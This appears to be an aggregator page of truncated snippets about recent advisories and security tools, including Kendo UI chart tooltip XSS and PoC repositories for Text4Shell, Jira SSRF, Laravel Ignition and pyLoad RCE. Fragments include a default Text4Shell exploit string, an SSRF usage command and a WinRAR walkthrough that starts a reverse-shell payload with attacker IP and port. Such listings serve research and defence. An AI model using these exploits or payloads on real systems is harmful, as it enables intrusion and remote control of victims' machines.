CVE-2026-106139 Cross-Site Scripting via Chart Tooltip in Kendo UI for Vue

In Progress® Kendo UI for Vue @progress/kendo-vue-charts starting with version 2.5.0 and prior to 16.2.0, the default Chart tooltip renders the formatted point value as raw HTML without encoding, in both the single-point and the shared tooltip. An attacker with low privileges who can influence a...

EUVD-2026-96305

In Progress® Kendo UI for Vue @progress/kendo-vue-charts starting with version 2.5.0 and prior to 16.2.0, the default Chart tooltip renders the formatted point value as raw HTML without encoding, in both the single-point and the shared tooltip. An attacker with low privileges who can influence a...

CVE-2026-106139

In Progress® Kendo UI for Vue (@progress/kendo-vue-charts) versions 2.5.0 through 16.2.0 are vulnerable to Cross-Site Scripting (XSS) via the default Chart tooltip. The root cause is that the single-point and shared tooltips render formatted point values as raw HTML without proper encoding. An at...

CVE-2022-42889-PoC

CVE-2022-42889 PoC 这是针对漏洞 CVE-2022-42889 的概念验证代码。此代码将运行 JavaScript 代码 195 + 324。如果存在漏洞，输出应为： PoC Output: 519 要运行此代码，你需要： JDK 11 或以上版本 Maven 当提示输入漏洞利用字符串时，你可以提供自己的漏洞利用字符串（然后按 Enter 输入字符串），或者直接按 Enter 使用默认的漏洞利用字符串 $script:javascript:195 + 324。 Docker 或者你也可以使用 Docker 来运行此 PoC： docker build -t poc...

EUVD-2026-96304

In Progress® KendoReact @progress/kendo-react-charts starting with version 1.1.0 and prior to 16.2.0, the default Chart tooltip renders the formatted point value as raw HTML without encoding, in both the single-point and the shared tooltip. An attacker with low privileges who can influence a stri...

CVE-2026-106138 Cross-Site Scripting via Chart Tooltip in KendoReact

In Progress® KendoReact @progress/kendo-react-charts starting with version 1.1.0 and prior to 16.2.0, the default Chart tooltip renders the formatted point value as raw HTML without encoding, in both the single-point and the shared tooltip. An attacker with low privileges who can influence a stri...

CVE-2026-106138

The In Progress® KendoReact (@progress/kendo-react-charts) component versions 1.1.0 through 16.2.0 are vulnerable to Cross-Site Scripting (XSS) . The root cause is that the default Chart tooltip renders formatted point values as raw HTML without proper encoding in both single-point and shared too...

wa-tunnel

wa-tunnel - TCP Tunneling through Whatsapp This is a Baileys based piece of code that lets you tunnel TCP data through two Whatsapp accounts. This can be usable in different situations, for example network carriers that give unlimited whatsapp data or airplanes where you also get unlimited social...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

CVE-2023-34839

CVE-2023-34839 — Issabel PBX 4.0.0-6：CSRF 导致权限提升 目录 概述 漏洞详情 受影响软件 CVSS 评分 攻击场景 概念验证 PoC 复现步骤 影响 修复建议 参考资料 免责声明 概述 CVE-2023-34839 是在 Issabel PBX 4.0.0-6 版本中发现的一个 跨站请求伪造 CSRF 漏洞。Issabel PBX 是一款广泛使用的开源统一通信平台。该漏洞存在于用户管理端点中，允许未经身份验证的远程攻击者通过诱使已认证的管理员访问特制网页，静默地创建一个新的管理员账户。 字段| 值 ---|--- CVE ID|...

CVE-2015-0235-test

CVE-2015-0235-test 用于检查漏洞 CVE-2015-0235 的 Ansible playbook。该 playbook 基于芝加哥大学提供的测试程序（链接）。Ansible 允许你同时指定大量主机进行测试。 这不会修补或重启任何东西 ，仅报告你的系统是否受影响。 假设远程已安装 gcc。 注意！ 请勿随意在你的主机上运行此程序，先阅读代码了解其作用 : 用法 需要 Ansible。将 ghost.yml:2 中的 user: yourremoteuser 修改为你的远程系统用户名。 pip install ansible ansible-playbook -i...

OutOfTune

OutOfTune Inspirado por el Pytune original, OutOfTune registra un dispositivo rogue en Entra ID, lo inscribe en Intune MDM y verifica el estado de cumplimiento resultante. Solo es compatible con dispositivos Windows, ya que ese era mi objetivo principal; posiblemente agregue otros en el futuro...

CVE-2019-8451

CVE-2019-8451 Jira未授权SSRF漏洞 python usage python CVE-2019-8451.py http://www.jas502n.com:8080 root@kali:/CVE-2019-8451 python CVE-2019-8451.py http://www.jas502n.com:8080 SSRF URL: www.baidu.com Send poc Success! X-AUSERNAME= anonymous vulnurl=...

AirScout

目前该应用只有荷兰语版本。英语版本即将推出。 用户指南 – Wi-Fi 被动监控（ESSID + 频段过滤） 法律与道德声明（教育用途） 仅供教育和授权测试使用。 您对如何使用此工具承担全部责任。故意干扰您不拥有或未经书面授权测试的网络，在您所在司法管辖区可能是非法的。即使只向他人网络发送一个去认证帧也可能违法。请仅在获得明确授权后使用，风险自负。 1 目的（概览） 本应用发现目标 SSID ，列出匹配的 BSSID 并按频段（2.4/5/6 GHz） 分组，然后被动监控 每个 BSSID 以枚举客户端 ，如果存在则捕获 WPA 握手 并保存为 .22000 文件。去认证按钮当前处于工作...

nginxconfig.io

⚙️ NGINX 配置生成器，火力全开 💉 你配置 NGINX 服务器时唯一需要的工具。 do.co/nginxconfig » 报告错误 · 请求功能 ✨ NGINX Config NGINX 远不止是一个 Web 服务器。你可能早就知道了。 我们热爱 NGINX，原因如下： 低内存占用 高并发能力 异步事件驱动架构 负载均衡 反向代理 带缓存的 FastCGI 支持（PHP） 对静态文件出色的快速处理 支持 SNI 的 TLS/SSL 众多功能伴随相应的配置指令。你现在就可以深入研究 NGINX 文档，或者使用这个工具来了解 NGINX...

CVE-2023-0297

pyloadCVE-2023-0297poc Una vulnerabilidad de inyección de código en versiones de pyLoad anteriores a 0.5.0b3.dev31 conduce a RCE sin autenticación al abusar de la funcionalidad de js2py. uso Uso de CVE-2023-0297poc.exe: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

libdlmalloc

libdlmalloc libdlmalloc es un script de python diseñado para su uso con GDB que puede utilizarse para analizar el asignador de Doug Lea, también conocido como dlmalloc. Actualmente soporta versiones 2.8.x de dlmalloc. Ten en cuenta que algunas partes también pueden usarse de forma independiente d...

CVE-2021-3129

CVE-2021-3129 Exploit RCE de Laravel Ignition Este es un script de exploit en Python para CVE-2021-3129, una vulnerabilidad de ejecución remota de código en Laravel cuando el paquete Ignition está instalado. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios del sistema a...

CVE-2020-1048

CVE-2020-1048 Existe una vulnerabilidad de elevación de privilegios cuando el servicio Windows Print Spooler permite indebidamente la escritura arbitraria en el sistema de archivos. Un atacante que explotara con éxito esta vulnerabilidad podría ejecutar código arbitrario con privilegios elevados...

CVE-2023-38831_ReverseShell_Winrar-RCE

利用WINRAR漏洞CVE-2023-38831获取反向Shell 在本仓库中，我们将利用WinRAR的CVE-2023-38831漏洞，从而从受害Windows机器获取反向Shell到攻击者Kali Linux机器。 前期步骤 下载本仓库的内容： 接下来，我们需要安装必要的Python依赖，以便利用以下命令利用此漏洞： pip install rarce 准备工作 我们将执行一个恶意代码，从 revshells.com 获取反向Shell（提供相应的攻击者IP和端口）： https://www.revshells.com/ $LHOST = "192.168.0.36"; $LPORT...